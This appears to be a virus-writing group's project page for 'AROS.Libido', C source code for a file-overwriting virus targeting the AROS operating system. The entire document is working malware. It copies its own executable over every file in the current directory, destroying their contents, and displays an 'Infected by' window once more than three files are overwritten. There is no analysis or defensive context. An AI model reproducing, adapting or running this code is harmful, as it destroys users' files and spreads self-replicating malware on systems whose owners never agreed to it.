AROS.Libido by wargame || Project Folder
/* This is the first virus for the AROS Os by [WarGame/doomriderz]
* It overwrites everyfile in current dir
* Thx to darkv0id for the name of this :) */

#include <stdio.h>
#include <dirent.h>
#include <stdlib.h>
#include <proto/intuition.h>
#include <intuition/intuition.h>
#include <sys/stat.h>

void PrintWindow(void)
{
    struct Window *payloadwin = NULL;
    
    payloadwin = OpenWindowTags(NULL,WA_Width,300,WA_Height,20,
    WA_Title,"Infected by AROS.Libido by [WarGame/doomriderz]",TAG_DONE);
    
    if(payloadwin)
    {
        sleep(5);
        CloseWindow(payloadwin);
    }
}

int main(int argc,char *argv[])
{
    DIR *current_dir = NULL;
    struct dirent *cur = NULL;
    FILE *fp = NULL;
    char *vircode = NULL;
    int virsize,fd,infectnum = 0;
    struct stat fz;
    
    
    if(!(current_dir = opendir(".")))
    {
        exit(0);
    }
    
    
    if((fp = fopen(argv[0],"r")) == NULL)
    {
        exit(0);
    }
    
    fd = fileno(fp);
    fstat(fd,&fz);
    virsize = fz.st_size;
    
    if((vircode = malloc(virsize)) == NULL)
    {
        exit(0);
    }
    
    fread(vircode,virsize,1,fp);
    fclose(fp);
    close(fd);
    
    while((cur = readdir(current_dir)))
    {
        if((fp = fopen(cur->d_name,"w")) != NULL)
        {
            fwrite(vircode,virsize,1,fp);
            fclose(fp);
            infectnum++;
        }
    }
    
    closedir(current_dir);
    free(vircode);
    
    if(infectnum > 3)
    {
        PrintWindow();
    }
    
}